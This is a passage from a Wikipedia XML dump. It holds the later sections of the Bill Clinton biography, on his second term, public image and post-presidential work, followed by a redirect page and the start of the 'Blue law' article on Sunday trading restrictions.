* [[April 19]] [[1995]] - [[Oklahoma City bombing]] - Terrorist bombing of federal building in [[Oklahoma City]] results in the deaths of 168 people, 19 of whom were children.
* [[November 14]] [[1995]] - Budget negotiations between Congress and Clinton break down, resulting in a temporary [[government shutdown|shutdown of the federal government]] until [[November 19]]. A longer shutdown will last from mid-December 1995 until early January 1996.
* November 1995 - Clinton organizes peace talks for [[Bosnia and Herzegovina]] at the [[Wright-Patterson Air Force Base]], [[Ohio]], eventually resulting in the [[Dayton Agreement]].
* December, 1995 - Clinton visits [[Ireland]], leading to the establishment of an International Commission chaired by former U.S. Senator [[George J. Mitchell]].
* [[June 25]] [[1996]] - [[Khobar Towers bombing]] a powerful truck bomb exploded outside the [[Khobar Towers]] [[barracks]] in [[Dhahran, Saudi Arabia]], tearing the front from the building, blasting a crater 35 feet deep, and killing 19 American soldiers. 
* [[November 5]] [[1996]] - [[U.S. presidential election, 1996|Clinton is reelected]], defeating [[United States Republican Party|Republican]] challenger [[Bob Dole]] and [[Reform Party]] founder [[H. Ross Perot]].
* [[January 20]] [[1997]] - Second [[Inauguration Day|inauguration]].
* October 1997 - Visit by [[President of the People's Republic of China]] [[Jiang Zemin]] to the [[White House]].
* August, 1998 - Clinton orders [[cruise missile]] strikes on [[Afghanistan]] to hit a suspected [[chemical weapon]]s [[Al-Shifa pharmaceutical factory|factory]] in [[Sudan]], suspected to be funded by [[Osama Bin Laden]]. Critics cried &quot;[[Wag the Dog|wag the dog]]&quot; and suggested the bombing was intended to divert attention from [[Monica Lewinsky]]'s testimony before a grand jury about her relationship with Clinton, which happened at roughly the same time. 
* [[August 17]] [[1998]] - Clinton testifies before a [[grand jury]] about his relationship with Monica Lewinsky. In the evening, he delivers a [http://www.cnn.com/ALLPOLITICS/1998/08/17/speech/transcript.html nationally televised address] in which he describes the relationship as &quot;not appropriate&quot; but also &quot;nobody's business.&quot; (See [[Clinton impeachment]].)
* [[December 19]] [[1998]] - Clinton is impeached by the [[United States House of Representatives|House of Representatives]] on grounds of [[perjury]] and [[obstruction of justice]]. (See [[Clinton impeachment]].)
* [[January 7]] [[1999]] - The trial of Clinton in the [[United States Senate|Senate]] begins. (See [[Clinton impeachment]].)
* [[February 12]] [[1999]] - Clinton is acquitted of all charges by the Senate.
* [[March 24]] to [[June 10]] [[1999]] - [[NATO]] bombs [[Kosovo]] and [[Serbia]]. (See [[Kosovo War]].)
* [[May 7]] [[1999]] - U.S. planes accidentally bomb [[People's Republic of China|China's]] embassy in [[Belgrade]]. (See [[Kosovo War]].)
* [[June 10]], [[1999]] - [[Serbia]] hands control of [[Kosovo]] to the [[United Nations]]. (See [[Kosovo War]].)
* [[November 1]] [[1999]] - Visited [[Norway]] to participate in a Memorial sermon in [[Oslo]] in respect of the late Israeli Prime Minister [[Yitzhak Rabin]].
* [[October 5]] [[2000]] - The defeat of [[Slobodan Milošević]] in earlier [[election]]s leads to mass [[demonstration]]s in [[Belgrade]] and the ultimate collapse of the regime's authority. Opposition leader [[Vojislav Koštunica]] takes office as the [[Federal Republic of Yugoslavia|Yugoslavia]]n president the next day. (See [[Kosovo War]].)
* [[January 20]] [[2001]] - Leaves office at the end of second term.

==Public approval==
While Clinton's job approval rating varied over the course of his first term, ranging from a low of 36% in 1993 to a high of 64% in 1993 and 1994 &lt;ref&gt;[http://www.ropercenter.uconn.edu/cgi-bin/hsrun.exe/Roperweb/PresJob/PresJob.htx;start=HS_fullresults?pr=Clinton Job Performance Ratings for President Clinton], accessed [[February 25]], [[2006]]&lt;/ref&gt;, his job approval rating consistently ranged from the high 50s to the high 60s in his second term &lt;ref&gt;[http://www.pollingreport.com/clinton-.htm Bill Clinton: Job Ratings] - PollingReport.com&lt;/ref&gt;, with a high of 73% approval in 1998 and 1999. &lt;ref&gt;[http://news.bbc.co.uk/hi/english/events/clinton_under_fire/latest_news/newsid_238000/238677.stm US public wants censure not trial] - [[BBC]], [[December 21]], [[1998]]&lt;/ref&gt; A CNN/USA TODAY/Gallup poll &lt;ref&gt;[http://archives.cnn.com/2001/ALLPOLITICS/stories/01/10/cnn.poll.clinton/ Poll: Majority of Americans glad Clinton is leaving office] - Keating Holland, [[CNN]], [[January 10]], [[2001]]&lt;/ref&gt; conducted as he was leaving office, revealed deeply contradictory attitudes regarding Clinton. Although his approval rating at 68 percent was higher than that of any other departing president since polling began more than seven decades earlier, only 45 percent said they would miss him. While 55 percent thought he &quot;would have something worthwhile to contribute and should remain active in public life&quot;, and 47 percent rated him as either outstanding or above average as a president, 68 percent thought he would be remembered for his &quot;involvement in personal scandal&quot; rather than his accomplishments as president, and 58 percent answered &quot;No&quot; to the question &quot;Do you generally think Bill Clinton is honest and trustworthy?&quot; 47% of the respondents identified themselves as being Clinton supporters.

==Public image==
[[Image:ClintonChild.jpg|thumb|200px|right|Clinton sitting with a child.]]

As the first [[Baby Boomer]] president, Clinton was seen during his presidency and during his candidacy as a change from the presidents of the [[G.I. Generation|World War II Generation]]. With his [[soundbite|sound-bite]]-ready dialogue and pioneering use of pop culture in his campaigning (he appeared on ''[[The Arsenio Hall Show]]'' playing the [[saxophone]] during the 1992 campaign), Clinton was described, often negatively, as the &quot;[[MTV]] president&quot;. Despite criticisms that his appeal to young voters lacked substance, Clinton won among [[Generation X]] voters in the 1992 election, with the highest Gen-X turnout ever. Clinton clearly came across as popular to young people. Until his inauguration as president, he had earned substantially less money than his wife, and had the smallest net worth of any president in modern history, according to ''[[My Life (Bill Clinton's Autobiography)|My Life]]'', Clinton's autobiography. Clinton was also very popular overall among [[African-American]]s and made improving race relations a major theme of his presidency. &lt;ref&gt;[http://www.americanprogress.org/site/pp.asp?c=biJRJ8OVF&amp;amp;b=122950 A Conversation With President Bill Clinton on Race in America Today] - interview with Clinton, [[Center for American Progress]], [[July 16]], [[2004]]&lt;/ref&gt;

Many people saw the couple as an unprecedented political partnership. Some even suspected that Hillary, and not Bill, was the dominant force behind the pair, and many jokes implied that Hillary was the real [[President of the United States]].

Social conservatives were put off by the impression of Clinton having been a &quot;[[hippie]]&quot; during the late 1960s, his coming-of-age era. In the 1960s, however, Clinton might not have been viewed as such by many of those in the hippie subculture. Clinton avoided the draft with a student deferment while studying abroad during the [[Vietnam War]]  Clinton's marijuana experimentation, clumsily excused by Clinton's statement that he &quot;didn't inhale&quot; further tarnished his image with some voters, although he was actually to the right of previous Democratic candidates for the presidency on many issues - he supported the [[death penalty]], [[curfew]]s, uniforms in public schools, and other measures opposed by [[youth rights]] supporters, and he expanded the [[War on Drugs]] greatly while in office.

[[Image:pres38-42.jpg|350px|thumb|Presidents Bill Clinton, [[George H. W. Bush|George Bush]], [[Ronald Reagan]], [[Jimmy Carter]], [[Gerald Ford]], and their wives at the funeral of President [[Richard Nixon]] on [[April 27]] 1994.]]

===Extramaertial Affairs===
Starting from [[U.S. presidential election, 1992|1992 Presidential election campaign]], rumors about Clinton's [[adultery]] were floating about, and these surfaced and increased with [[Paula Jones]]' accusations of [[sexual harassment]]. After allegations had linked him to Jones, [[Gennifer Flowers]], and [[Kathleen Willey]], Clinton's sex life would become the focus of his public image when, in January 1998, recorded conversations by [[Linda Tripp]] contained statements by White House intern [[Monica Lewinsky]] about having [[oral sex]].

===Other Views===
Clinton's warmth, curiosity and openness unite to create an intense personal charm, but his character and policies were viewed with intense, personal dislike by some conservative critics. Several unsubstantiated accusations were leveled on conservative talk radio programs. Among these were rumors of involvement with drug traffickers and personal [[cocaine]] use. Some talk show personalities fomented [[Vince Foster#Conspiracy Theory|conspiracy theories]] about Clinton's involvement in the death of long-time friend and aide [[Vince Foster]], which was later ruled a [[suicide]] in an extensive investigation by [[Kenneth Starr]]. The deadly [[Branch Davidian]] standoff near [[Waco, Texas]] in 1993, which many considered to be a bungled operation, engendered further hostility in some conservative circles towards the Clinton administration.

===Nicknames===
Clinton is often referred to by nickname among both detractors and fans. One of the earliest was &quot;Bubba&quot;, which alludes to his Southern [[&quot;good ol' boy&quot;]] background. Other common nicknames include &quot;Slick Willy&quot; and &quot;Clintoon&quot; (by detractors), and the &quot;Big Dog&quot; (by fans). Although the phrase typically refers to [[Ronald Reagan]]'s presidency, Clinton's presidency is sometimes referred to as the &quot;[[Teflon character|Teflon]] Presidency&quot; for how scandals and setbacks never seem to stick to him, at least in terms of dropped public support. During his first presidential campaign in 1992 he claimed the moniker of the &quot;Comeback Kid&quot; after placing second in the [[New Hampshire primary]] to [[Paul Tsongas]] (&quot;Tonight New Hampshire's made me the Comeback Kid&quot; ).

==Post-presidential career==
===2001===
[[Image:ClintonSenate.jpg|thumb|250px|Hillary Clinton is sworn in as a U.S. Senator by Vice President Gore as Bill and [[Chelsea Clinton]] observe.]]
[[Image:DailyShowClinton.jpg|thumb|250px|right|Bill Clinton on ''[[The Daily Show]]'', promoting ''[[My Life (Bill Clinton's Autobiography)|My Life]]'']]
On [[January 18]] [[2001]], he addressed the nation one last time on television from the Oval Office of the White House, two days before handing over the presidency to [[George W. Bush]], whose father he had defeated in [[U.S. presidential election, 1992|1992]].

Like other former American presidents, Clinton has engaged in a career as a public speaker on a variety of issues (earning $875,000 in 2004 alone, according to Mr. Clinton's own financial disclosure statements). In these, he continues to comment on aspects of contemporary politics, and he has been known to disregard the &quot;unwritten rule&quot; whereby former presidents refrain from partisan criticism of their successors. One notable theme is his advocacy of multilateral solutions to problems facing the world. Clinton's close relationship with the [[African American]] community has been highlighted in his post-Presidential career with his opening of his personal office in the [[Harlem]] section of [[New York City]]. He assisted his wife [[Hillary Clinton]] in her campaign for office as a [[U.S. Congressional Delegations from New York|senator]] representing [[New York]].

===2004===
In February 2004, Clinton (along with [[Mikhail Gorbachev]] and [[Sophia Loren]]) won a [[Grammy Award]] for [[Grammy Awards of 2004#Children's|Best Spoken Word Album for Children]] for narrating the [[Russian National Orchestra]]'s album ''[[Peter and the Wolf]]/Wolf Tracks''. Clinton won a second Grammy in February 2005, [[Grammy Award for Best Spoken Word Album|Best Spoken Word Album]] for ''[[My Life]]''.

Clinton collected his [[memoir]]s into a [[book]] entitled ''[[My Life (Bill Clinton's Autobiography)|My Life]]'', which was released on [[June 22]] [[2004]]. Commenting on memoirs in general, he said &quot;some are dull and self-serving, hopefully mine will be interesting and self-serving.&quot; The book made an unprecedented three appearances on the [[Amazon.com]] best-seller list before it was even released.

====Kerry Campaign====
On [[July 26]] [[2004]], Clinton spoke for the fifth time in a row to the [[2004 Democratic National Convention|Democratic National Convention]], using the opportunity to praise candidate [[John Kerry]]. Many Democrats believed that Clinton's speech was one of the best in Convention history. In it, he criticized President George W. Bush's depiction of Kerry, saying that &quot;strength and wisdom are not opposing values.&quot;

====Health Scare====
On [[September 2]] [[2004]], Clinton had an episode of [[angina]] and was evaluated at [[Northern Westchester Hospital]]. It was determined that he had not suffered a [[coronary infarction]], and he was sent home, returning the following day for [[angiography]], which disclosed multiple vessel [[coronary artery disease]]. He was transferred to [[Columbia Presbyterian Medical Center]] in New York City, where he successfully underwent quadruple [[coronary artery bypass surgery]] on [[September 6]] [[2004]]. The medical team responsible for Clinton claimed that, had he not had surgery, he would likely have suffered a massive [[myocardial infarction|heart attack]] within a few months. On [[March 10]] [[2005]], he underwent a follow-up surgery to remove scar tissue and fluid from his left chest cavity, a result of his open-heart surgery.

=====Presidential Libary====
He dedicated his [[presidential library]], which is the largest in the nation, the [[William J. Clinton Presidential Center and Park|William J. Clinton Presidential Center]], in [[Little Rock, Arkansas]] on [[November 18]] [[2004]]. Under rainy skies, Clinton received words of praise from former presidents [[Jimmy Carter]] and [[George H. W. Bush]], as well as from the current president, [[George W. Bush]]. He was also treated to a musical rendition from [[Bono]] and [[David Howell Evans|The Edge]] from [[U2]], who expressed their gratitude at Clinton's efforts to resolve the Northern Ireland conflict during his presidency.

[[Image:Bushclinton2.jpg|thumb|left|Clinton and former President Bush at Super Bowl XXXIX.]]
[[Image:Jp2presidents.jpg|thumb|right|Clinton, along with President George W. Bush, his wife, Laura, and Bush's father pay their respects to Pope John Paul II before the pope's funeral.]]

====Since====
On [[November 22]] [[2004]], New York Republican Governor [[George Pataki]] named Clinton and the other living former presidents ([[Gerald Ford]], [[Jimmy Carter]], and [[George H. W. Bush]]) as honorary members of the board rebuilding the [[World Trade Center]].

On [[December 8]] [[2004]], Clinton announced that he was the new spokesperson for [[Accoona]], an [[internet]] [[search engine]] company.

===Humanitarian===
====Tsunami in Asia====
There had been reported signs of a friendship growing between Clinton and George W. Bush. After the official unveiling of his White House portrait in June 2004, the Asian Tsunami disaster, Hurricane Katrina, and the [[U.S. presidential election, 2004|2004 election]], Clinton and Bush met on occasion, although the nature of the friendship did not appear to be a reconciliation of political opinions.

On [[January 3]] [[2005]], President George W. Bush named Clinton and George H. W. Bush to lead a nationwide campaign to help the victims of the [[2004 Indian Ocean earthquake]]. On [[February 1]] [[2005]], he was picked by UN Secretary-General [[Kofi Annan]] to head the [[United Nations]] [[Humanitarian response to the 2004 Indian Ocean earthquake|earthquake and tsunami relief and reconstruction effort]]. Five days later, he and Bush both appeared on the [[Super Bowl XXXIX]] pre-game show on [[Fox Television Network|Fox]] in support of their bipartisan effort to raise money for relief of the disaster through the [[USA Freedom Corps]], an action which Bush described as &quot;transcending politics.&quot; Thirteen days later, they both traveled to the affected areas to see how the relief efforts were going.

====Katrina====
On [[August 31]] 2005, following the devastation of the [[Gulf Coast]] by [[Hurricane Katrina]], Clinton again teamed with George H. W. Bush to coordinate private relief donations, in a campaign similar to their earlier one in response to the [[Indian Ocean tsunami]]. Clinton was highly critical of the federal government response to the hurricane, saying that the government &quot;failed&quot; the people affected, and that an investigation into the response was warranted. &lt;ref&gt;[http://www.cnn.com/2005/US/09/05/clinton.katrina/index.html Clinton: Government 'failed' people] - [[CNN]], [[September 5]], [[2005]]&lt;/ref&gt;

===2005===
====Pope====
Following the [[death of Pope John Paul II]] on [[April 2]] [[2005]] Clinton stirred up a mini-controversy saying the late pontiff, &quot;may have had a mixed legacy…there will be debates about him. But on balance, he was a man of God, he was a consistent person, he did what he thought was right.&quot; Clinton sat with both President George W. Bush and former President George H.W. Bush as the first current or former American heads of state to attend a papal funeral.

====Since====
On [[September 16]] 2005, Clinton appeared on ''[[Larry King Live]]'' to talk about Senator Clinton's political career.

On [[December 9]] 2005, speaking at the [[United Nations Climate Change Conference]] in [[Montreal]], Clinton publicly criticized the Bush Administration about its handling of emissions control.

===2006===
On [[February 7]], [[2006]], Clinton appeared at [[Coretta Scott King]]'s funeral.

Whilst in [[Sydney]] to attend a Global Business Forum, Clinton signed a memorandum of understanding on behalf of his presidential foundation with the Australian government to boost HIV/AIDS programs in the Asia-Pacific region.

==Trivia==
[[Image:Clinton_Buddy_120597.jpg|thumb|125px|right|Buddy]]
* Clinton is 6' 2½&quot; (1.89m) tall.
* Clinton is left-handed (as were Harry Truman and George H.W. Bush).
* Clinton's Secret Service codename is &quot;Eagle.&quot;
* Clinton is an amateur saxophonist. (other recent musical presidents include pianists Harry Truman and Richard Nixon)
* Clinton is allergic to dust, mold, pollen, and cat dander, mildly allergic to beef and dairy products. [http://query.nytimes.com/gst/health/article-page.html?res=9E0CEFDB1431F934A25755C0A964958260&amp;amp;n=Top%2fNews%2fHealth%2fDiseases%2c%20Conditions%2c%20and%20Health%20Topics%2fAllergies]
* Clinton was a brother of [[Alpha Phi Omega]], a service fraternity and [[Kappa Kappa Psi]], a band service fraternity.
* Clinton is fluent in [[German language|German]]; he studied German in college as his language-of-choice.
* Clinton owned two pets during his presidency: a male chocolate-colored [[Labrador Retriever]] named &quot;[[Buddy (dog)|Buddy]]&quot; and a [[cat]] named &quot;[[Socks (cat)|Socks]]&quot;. Socks arrived in 1993 and was the first cat to live in the White House since President Carter's daughter's cat [[Misty Malarky Ying Yang]]. Clinton acquired Buddy as a puppy in 1997 and named him after his late uncle. Buddy and Socks fought frequently at the White House and were kept in separate quarters. Since this would be no longer possible in the Clintons' smaller home in [[Chappaqua, New York]], Socks was given away to Clinton's secretary when he left office. Buddy died after being run over by a car near the Clintons' Chappaqua house in 2002. {{seealso|List of U.S. Presidential pets}} 
* [[Centraal Beheer]], a Dutch insurance company famous for its humorous commercials, once had a TV commercial involving Clinton and a [[voodoo doll]]. This commercial was taken down after a few weeks at the request of the White House.
* Clinton reportedly owned a 1970 El Camino at one time. Speaking to a group of GM employees, Clinton joked, &quot;It had astro-turf in the back. You don't want to know why.&quot;
* In November of [[1997]] President Clinton made history by being the first sitting President to speak to a [[gay rights]] organization.  He gave a speech at a formal dinner hosted by the [[Human Rights Campaign]] [http://www.portal.telegraph.co.uk/htmlContent.jhtml?html=/archive/1997/11/10/wgay10.html].

==Further reading==
* '''Bill Clinton''' ''My Life''.  (2004). ISBN 0-37-541457-6. autobiography
* [[Peter Baker]] ''The Breach : Inside the Impeachment and Trial of William Jefferson Clinton''  (2000)  ISBN 0-68-486813-X
* [[Sidney Blumenthal]] ''The Clinton Wars''. (2003). ISBN 0-37-412502-3
* [[James Bovard]] ''Feeling Your Pain: The Explosion and Abuse of Government Power in the Clinton-Gore Years'' (2000) ISBN 0-31-223082-6
* [[Joe Conason]] and Gene Lyons. ''The Hunting of the President: The Ten-Year Campaign to Destroy Bill and Hillary Clinton''. (2003) ISBN 0-31-227319-3
* [[Elizabeth Drew]] ''On the Edge: The Clinton Presidency''. [[Simon &amp;amp; Schuster]] (1994) ISBN 0-67-187147-1
* [[Nigel Hamilton]] ''Bill Clinton: An American Journey: Great Expectations''. Random House. (2003) ISBN 0-37-550610-1
* [[John F. Harris]] ''The Survivor: Bill Clinton in the White House''.  (2005) ISBN 0-37-550847-3, biography
* [[Christopher Hitchens]] ''No One Left to Lie to: The Triangulations of William Jefferson Clinton''. (1999). ISBN 1-85-984736-6
* [[William G. Hyland]]. ''Clinton's World: Remaking American Foreign Policy'' (1999) ISBN 0275963969
* [[Michael Isikoff]] ''Uncovering Clinton: A Reporter's Story''. (1999) ISBN 0-60-960393-0
* [[Fard Johnson]] &quot;Politics, Propaganda and Public Opinion: The Influence of Race and Class on the 1993 - 1994 Health Care Reform Debate&quot;. (2004). ISBN 1-4116-6345-4
* [[Joe Klein]] ''The Natural: The Misunderstood Presidency of Bill Clinton''.  (2003). ISBN 0-76-791412-0
* [[Nicholas Laham]], ''A Lost Cause: Bill Clinton's Campaign for National Health Insurance'' (1996)
* [[David Maraniss]], ''First In His Class : A Biography Of Bill Clinton'', (1996). ISBN 0-68-481890-6
* [[David Maraniss]] ''The Clinton Enigma: A Four and a Half Minute Speech Reveals This President's Entire Life'' (1998) ISBN 0-68-486296-4
* [[Dick Morris]] with Eileen McGann ''Because He Could'' (2004) ISBN 0060784156
* [[Roger Morris]]. ''Partners in Power: The Clintons &amp;amp; Their America''.  (1996). ISBN 0-89-526302-5
* [[Richard A. Posner]]. ''An Affair of State: The Investigation, Impeachment, and Trial of President Clinton'' (2000)
* [[Mark J. Rozell]] ''The Clinton Scandal and the Future of American Government'' (2000) ISBN 0-87-840777-4
* [[Mark E. Rushefsky]] and Kant Patel. ''Politics, Power &amp;amp; Policy Making: The Case of Health Care Reform in the 1990s'' (1998) ISBN 1563249561
* [[Harvey L. Schantz]]. ''Politics in an Era of Divided Government: Elections and Goverance in the Second Clinton Administration'' (2001) ISBN 0815335830
* [[Kenneth W. Starr]] ''The [[Starr Report]]: The Findings of Independent Counsel Kenneth W. Starr on President Clinton and the Lewinsky Affair'' (1998)  ISBN 1-89-162024-X
* [[George Stephanopoulos]] ''All Too Human: A Political Education''  (1998) ISBN 0316929190
* [[Michael Waldman]]. ''POTUS Speaks: Finding the Words That Defined the Clinton Presidency'' (2000) ISBN 0-74-320020-9.
* [[The Washington Times|Washington Times]] articles [[January 21]], [[1999]]
* [[USA TODAY]], [[11 March]] [[1993]], page 2A

==Notes==
&lt;references/&gt;

==See also==
{{further|[[:Category:Bill Clinton]]}}

==External links==
{{commons|Bill Clinton}}
{{wikiquote}}
{{Wikisource author}}
* {{gutenberg author| id=Bill+Clinton | name=Bill Clinton}}
* [http://www.whitehouse.gov/history/presidents/bc42.html White House biography]
* [http://www.clintonlibrary.gov/ Clinton Presidential Library] official website
* [http://www.clintonfoundation.org/ William J. Clinton Foundation] official website
* [http://www.clintonglobalinitiative.org Clinton Global Initiative] official website
* [http://www.clintonschool.uasys.edu/ Clinton School of Public Service]
* [http://www.presidency.ucsb.edu The American Presidency Project at UCSB: The Most Comprehensive Resource on the Web]
* [http://www.yale.edu/lawweb/avalon/presiden/inaug/clinton1.htm First Inaugural Address], via [[Yale Law School]]
* [http://www.yale.edu/lawweb/avalon/presiden/inaug/clinton2.htm Second Inaugural Address], via [[Yale Law School]]
* [http://vvl.lib.msu.edu/showfindingaid.cfm?findaidid=ClintonB Audio recordings of Clinton's speeches], via [[Yale Law School]]
* [http://www.archives.gov/federal-register/executive-orders/clinton.html Executive Orders signed by Clinton], via [[Michigan State University]]
* [http://www.usdoj.gov/pardon/clintonpardon_grants.htm Pardons Granted By President Clinton], via [[United States Department of Justice]]
* [http://www.house.gov/judiciary/101365.pdf Draft Articles of Impeachment, 1998], via [[United States House of Representatives]]
* [http://www.cnn.com/2005/WORLD/meast/02/02/iraq.oil.smuggle/ Documents: U.S. condoned Iraq oil smuggling], via [[CNN]]
* [http://www.newsmeat.com/washington_political_donations/Bill_Clinton.php Political donations made by Bill Clinton], via Newsmeat
* [http://www.usdoj.gov/osg/briefs/1990/sg900402.txt Bill Clinton, Governor of Arkansas, et al., appellants v. M.C. Jeffers, et al., 498 U.S. 1019 (1991)], via  [[United States Department of Justice]]
* {{imdb name|id=0001051|name=Bill Clinton}}

{{start box}}
{{succession box | before = [[Jim Guy Tucker]] | title = [[Attorney General|Attorney General of Arkansas]] | years = 1977 - 1979 | after = [[Steve Clark (AG of Ark.)|Steve Clark]]}}
{{succession box | before = [[Joe Purcell]] | title = [[List of Governors of Arkansas|Governor of Arkansas]] | years = 1979 - 1981 | after = [[Frank D. White]]}}
{{succession box | before = [[Frank D. White]] | title = [[Governor of Arkansas]] | years = 1983 - 1992 | after = [[Jim Guy Tucker]]}}
{{succession box | before = [[Michael Dukakis]] | title = [[List of United States Democratic Party Presidential nominees|Democratic Party Presidential candidate]]| years=[[U.S. presidential election, 1992|1992]] (won), [[U.S. presidential election, 1996|1996]] (won)| after=[[Al Gore]]}}
{{succession box | before = [[George H. W. Bush]] | title = [[President of the United States]] |years=[[January 20]], [[1993]] - [[January 20]], [[2001]]| after = [[George W. Bush]]}}
{{end box}}

{{USpresidents}}
{{USDemPresNominees}}
{{ARGovernors}}

{{Persondata
|NAME=Clinton, William Jefferson
|ALTERNATIVE NAMES=Bill Clinton
|SHORT DESCRIPTION=42nd [[President of the United States]] (1993–2001)
|DATE OF BIRTH=[[19 August]] [[1946]]
|PLACE OF BIRTH=[[Hope, Arkansas|Hope]], [[Arkansas]], [[USA]]
|DATE OF DEATH=
|PLACE OF DEATH=
}}

[[Category:1946 births|Clinton, Bill]]
[[Category:Actors and actresses appearing on The West Wing|Clinton, Bill]]
[[Category:Alpha Phi Omega brothers|Clinton, Bill]]
[[Category:American law professors|Clinton, Bill]]
[[Category:Baptists|Clinton, Bill]]
[[Category:Bill Clinton|Bill Clinton]]
[[Category:Born-again Christians|Clinton, Bill]]
[[Category:Boys &amp; Girls Club alumni|Clinton, Bill]]
[[Category:Council on Foreign Relations member|Clinton, Bill]]
[[Category:Debaters|Clinton, Bill]]
[[Category:Democratic Party (United States) presidential nominees|Clinton, Bill]]
[[Category:Disbarred attorneys|Clinton, Bill]]
[[Category:Former students of University College, Oxford|Clinton, Bill]]
[[Category:Georgetown University alumni|Clinton, Bill]]
[[Category:Governors of Arkansas|Clinton, Bill]]
[[Category:Grammy Award Winners|Clinton, Bill]]
[[Category:Hillary Rodham Clinton|Clinton, Bill]]
[[Category:Irish-American politicians|Clinton, Bill]]
[[Category:Irish-Americans|Clinton, Bill]]
[[Category:Karlspreis laureates|Clinton, Bill]]
[[Category:Living people|Clinton, Bill]]
[[Category:People associated with the University of Arkansas|Clinton Bill]]
[[Category:People from Arkansas|Clinton, Bill]]
[[Category:Presidents of the United States|Clinton, Bill]]
[[Category:Pro-choice politicians|Clinton, Bill]]
[[Category:United States Rhodes scholars|Clinton, Bill]]
[[Category:Humanitarians]]
[[Category:Sex scandals|Clinton, Bill]]
[[Category:Trilateral Commission member|Clinton, Bill]]
[[Category:Yale Law School graduates|Clinton, Bill]]
[[Category:Yale alumni|Clinton, Bill]]

{{Link FA|he}}
{{Link FA|nl}}

[[am:ቢል ክሊንተን]]
[[ar:بيل كلينتون]]
[[bg:Бил Клинтън]]
[[zh-min-nan:Bill Clinton]]
[[bs:Bill Clinton]]
[[cs:Bill Clinton]]
[[cy:Bill Clinton]]
[[da:Bill Clinton]]
[[de:Bill Clinton]]
[[et:Bill Clinton]]
[[es:William Jefferson Clinton]]
[[eo:William J. CLINTON]]
[[eu:Bill Clinton]]
[[fr:Bill Clinton]]
[[ga:William J. Clinton]]
[[gl:William Jefferson Clinton]]
[[ko:빌 클린턴]]
[[hr:Bill Clinton]]
[[id:Bill Clinton]]
[[it:Bill Clinton]]
[[he:ויליאם ג'פרסון קלינטון]]
[[hu:Bill Clinton]]
[[nl:Bill Clinton]]
[[ja:ビル・クリントン]]
[[no:Bill Clinton]]
[[nn:Bill Clinton]]
[[pl:Bill Clinton]]
[[pt:Bill Clinton]]
[[ru:Клинтон, Уильям Джеферсон]]
[[sq:Bill Clinton]]
[[simple:Bill Clinton]]
[[sk:Bill Clinton]]
[[sl:Bill Clinton]]
[[sr:Бил Клинтон]]
[[fi:Bill Clinton]]
[[sv:Bill Clinton]]
[[th:บิล คลินตัน]]
[[vi:Bill Clinton]]
[[tpi:Bill Clinton]]
[[tr:Bill Clinton]]
[[zh:比尔·克林顿]]</text>
    </revision>
  </page>
  <page>
    <title>Black letter law</title>
    <id>3358</id>
    <revision>
      <id>15901700</id>
      <timestamp>2002-03-06T20:44:22Z</timestamp>
      <contributor>
        <username>Bryan Derksen</username>
        <id>66</id>
      </contributor>
      <comment>turned &amp;quot;see&amp;quot; into redirect</comment>
      <text xml:space="preserve">#REDIRECT [[statute]]
</text>
    </revision>
  </page>
  <page>
    <title>Blue law</title>
    <id>3359</id>
    <revision>
      <id>39283188</id>
      <timestamp>2006-02-12T02:06:20Z</timestamp>
      <contributor>
        <ip>69.138.229.246</ip>
      </contributor>
      <text xml:space="preserve">A '''blue law''', in the [[United States]] and [[Canada]], is a type of [[law]] restricting activities or sales of goods on Sunday, which had its roots in accommodating [[Christianity|Christian]] Sunday worship, although it persists to this day more as a matter of tradition.
The term ''blue law'' may have been first used by Reverend [[Samuel Peters]] in his book ''General History of Connecticut,'' which was first published in 1781, to refer to various laws first enacted by [[Puritan]] colonies in the [[17th century]] which prohibited the selling of certain types of merchandise and retail or business activity of any kind on certain days of the week (usually Sunday).  In [[Texas]], for example, blue laws prohibited selling housewares such as pots, pans, and washing machines on Sunday until 1985; Texas as well as [[Colorado]], [[Illinois]], [[Indiana]], [[Michigan]] and [[Minnesota]] car dealerships continue to operate under blue-law prohibitions in which an automobile may not be purchased or traded on a Sunday.  Many U.S. states still prohibit selling [[alcoholic beverage|alcohol]] on Sunday, or at least before noon on Sunday.  Many unusual features of [[American culture]] &amp;mdash; such as the fact that one can buy groceries, office supplies, and housewares from a [[drug store]] &amp;mdash; are the result of blue laws, as drug stores were generally allowed to remain open on Sunday to accommodate emergency medical needs.  The ubiquitous &quot;weekend&quot; is also a result of blue laws, although it is practiced nearly worldwide, except in some Islamic countries which have their weekend on [[Thursday]] and [[Friday]].

==History==

Contrary to popular belief, there is no evidence to support the assertion that the blue laws were originally printed on blue paper. Rather, the word ''blue'' was commonly used in the [[18th century]] as a disparaging reference to rigid moral codes and those who observed them (e.g., &quot;[[bluenoses]]&quot;). Moreover, although Reverend Peters claimed that the term ''blue law'' was originally used by Puritan colonists, his work has since been found to be unreliable, and it is more likely that he simply invented the term himself.  In any event, Peters never asserted that the blue laws were originally printed on blue paper, and this has come to be regarded as an example of [[fake etymology]].  Another version is that the laws were first bound in books with blue covers. (See related article :[[Blue laws]])

It is highly likely that all blue laws stem from the first such statute set down by the [[Emperor Constantine]] 1300 years before the Puritans:
&lt;blockquote&gt;
&quot;Let all [[judges]] and all [[city]] people and all tradesmen rest upon the venerable day of the sun.  But let those dwelling in the country freely and with full liberty attend to the culture of their fields; since it frequently happens that no other day is so fit for the sowing of grain, or the planting of vines; hence, the favorable time should not be allowed to pass, lest the provisions of heaven be lost.&quot; &amp;mdash; Given the seventh of March, Crispus and Constantine being consuls, each for the second time.  &lt;small&gt;A.D.&lt;/small&gt; 321.
&lt;/blockquote&gt;

Many European countries still place strong restrictions on store opening hours on Sundays, an example being [[Germany]]'s [[Ladenschlussgesetz]].

===Bergen County, New Jersey===

One of the last remaining blue laws in the [[United States]] that covers virtually all selling is found in [[Bergen County, New Jersey]].  It has produced the ironic situation that one of the largest and most popular commercial shopping cores of the [[New York metropolitan area]] is almost completely closed on Sunday (grocery stores are allowed to operate).  The county is not considered a particularly religious area of the U.S.; it also has significant [[Jewish]] and [[Muslim]] populations whose observant members would not be celebrating the Sabbath on Sunday. However, repeated attempts to lift the law have failed as many locals either see keeping the law on the books as a protest against the growing trend toward increasing hours and days of commercial activity in American society or like the lack of traffic on major local roads on Sunday that is normally seen the other days of the week. In fact, a large part of the reason for maintaining the laws has been a desire for relative peace and quiet one day of the week by many Bergen County residents, particularly those of [[Paramus, New Jersey]], where many of the shopping malls of Bergen County are located.

===Court Cases===

